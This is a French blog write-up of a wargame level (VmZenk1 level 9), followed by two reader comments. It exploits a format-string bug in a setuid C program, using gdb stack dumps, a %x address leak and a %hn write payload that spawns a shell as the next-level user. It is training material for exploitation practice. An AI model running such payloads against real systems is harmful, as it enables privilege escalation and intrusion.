mardi 9 novembre 2010

[Wargame] VmZenk1 - Level 9

Hello!

Je vais ici montrer un simple trick concernant l'exploitation de format string. Ca va consister à vite trouver l'addresse où écrire.

Tout d'abord le challenge :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
 if (argc != 2)
 {
  printf("Usage : ./prog arg\n");
  exit(1);
 }

 char name[1024];
 strncpy(name,argv[1],1024);
 name[1023] = '\0';
 printf("Votre nom est : ");
 printf(name);
 printf("\n");
 return 0;
}

On lance gdb :
level9@VmAppliZenk:~$ gdb -q ./level9

warning: not using untrusted file "/home/level9/.gdbinit"
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048474 <main+0>: lea    ecx,[esp+0x4]
0x08048478 <main+4>: and    esp,0xfffffff0
0x0804847b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804847e <main+10>: push   ebp
0x0804847f <main+11>: mov    ebp,esp
0x08048481 <main+13>: push   ecx
0x08048482 <main+14>: sub    esp,0x414
0x08048488 <main+20>: mov    DWORD PTR [ebp-0x408],ecx
0x0804848e <main+26>: mov    eax,DWORD PTR [ebp-0x408]
0x08048494 <main+32>: cmp    DWORD PTR [eax],0x2
0x08048497 <main+35>: je     0x80484b1 <main+61>
0x08048499 <main+37>: mov    DWORD PTR [esp],0x80485e0
0x080484a0 <main+44>: call   0x8048398 <puts@plt>
0x080484a5 <main+49>: mov    DWORD PTR [esp],0x1
0x080484ac <main+56>: call   0x80483a8 <exit@plt>
0x080484b1 <main+61>: mov    edx,DWORD PTR [ebp-0x408]
0x080484b7 <main+67>: mov    eax,DWORD PTR [edx+0x4]
0x080484ba <main+70>: add    eax,0x4
0x080484bd <main+73>: mov    eax,DWORD PTR [eax]
0x080484bf <main+75>: mov    DWORD PTR [esp+0x8],0x400
0x080484c7 <main+83>: mov    DWORD PTR [esp+0x4],eax
0x080484cb <main+87>: lea    eax,[ebp-0x404]
0x080484d1 <main+93>: mov    DWORD PTR [esp],eax
0x080484d4 <main+96>: call   0x8048358 <strncpy@plt>
0x080484d9 <main+101>: mov    BYTE PTR [ebp-0x5],0x0
0x080484dd <main+105>: mov    DWORD PTR [esp],0x80485f3
0x080484e4 <main+112>: call   0x8048388 <printf@plt>
0x080484e9 <main+117>: lea    eax,[ebp-0x404]
0x080484ef <main+123>: mov    DWORD PTR [esp],eax
0x080484f2 <main+126>: call   0x8048388 <printf@plt>
0x080484f7 <main+131>: mov    DWORD PTR [esp],0xa
0x080484fe <main+138>: call   0x8048368 <putchar@plt>
0x08048503 <main+143>: mov    eax,0x0
0x08048508 <main+148>: add    esp,0x414
0x0804850e <main+154>: pop    ecx
0x0804850f <main+155>: pop    ebp
0x08048510 <main+156>: lea    esp,[ecx-0x4]
0x08048513 <main+159>: ret    
End of assembler dump.
(gdb) break *0x080484f2
Breakpoint 1 at 0x80484f2
(gdb) r %x
Starting program: /home/level9/level9 %x

Breakpoint 1, 0x080484f2 in main ()
Current language:  auto; currently asm
(gdb) x/10x $esp-16
0xbffff470: 0xbffff484 0xb7fd8ff4 0xbffff898 0x080484e9
0xbffff480: 0xbffff494 0xbffffa44 0x00000400 0xbffff4a0
0xbffff490: 0xbffff8b0 0x252e7825

On pose un breakpoint sur la ligne 0x080484f2 on retourne ensuite en 0x080484f7 normalement.
On dumpe et on doit re-écrire l'adresse de retour (en vert).
L'adresse de re-écriture est en 0xbffff47c.
Bon comment on fait en dehors de gdb?
C'est là que la format string devient utile pour de l'information leak :
(gdb) r `python -c 'print "%x." * 10'`
Votre nom est : bffffa44.400.bffff4a0.bffff8b0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Program exited normally.
(gdb) quit

On peut calculer l'adresse où écrire grâce à la troisième valeur :
offset pour avoir le début : 0xbffff4a0 - 0xbffff470 = 30
addresse où écrire : bffff470 + 0xc = bffff47c

On va essayer ça sans gdb now :).
level9@VmAppliZenk:~$ ./level9 `python -c 'print "%x." * 10'`
Votre nom est : bfffaa30.400.bfffa490.bfffa8a0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Addresse où on doit écrire : 0xbfffa490 - 0x30 + c = 0xbfffa46c

On essaie :
level9@VmAppliZenk:~$ ./level9 `python -c 'print "\x6c\xa4\xff\xbf" + "%55121x" + "%5$hn" + "\x6e\xa4\xff\xbf" + "%59558x" + "%9$hn"'`
sh-3.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1012(challengers)

Pawned,

m_101

2 commentaires :

  1. sympa la technique je connaissais pas :)

    j'ai tout de même une petite question:
    "On peut calculer l'adresse où écrire grâce à la troisième valeur"
    Ok ça j'ai compris, et c'est possible parce que la différence entre l'adresse où il faut écrire et l'adresse qui constitue la troisième valeur est constante (-0x30 + 0xc). Donc ok cela marche pour la troisième valeur.

    Mais j'ai tenté avec la première valeur et il s'avère que la différence ne semble pas constante. Donc y'a t'il un moyen de savoir si l'adresse sur laquelle on se base dans le leaking est bonne ou il faut bourriner en testant toutes les adresses qu'on chope avec "%x" ?

    Merci, shp

    RépondreSupprimer
  2. Non aucuns bruteforce n'est nécessaire dans des cas similaires à celui présenté dans cet article.
    En regardant le dump de la stack avec gdb :
    (gdb) x/10x $esp-16
    Tu peux repérer l'adresse de retour dans la stack et choisir l'adresse qui convient après plusieurs tests.
    Là dans ce cas, pour choisir l'adresse, ça a juste consisté à repérer un pattern : bffff4xx et si l'adresse était pas bonne, j'aurais choisi une autre adresse.
    Le choix d'une adresse va dépendre du contenu qu'elle référence.

    En effet, il a des cas où les offsets peuvent changer :
    - le nom de l'exécutable (et le chemin où il se trouve)
    - une string qu'on entre (ce qui est le cas dans ce programme)
    - ...

    Par contre, les offsets entre les différentes adresses de stacks sont constantes car tu gardes le même modèle de stackframe généralement (dans le cas d'ASLR on aussi).

    RépondreSupprimer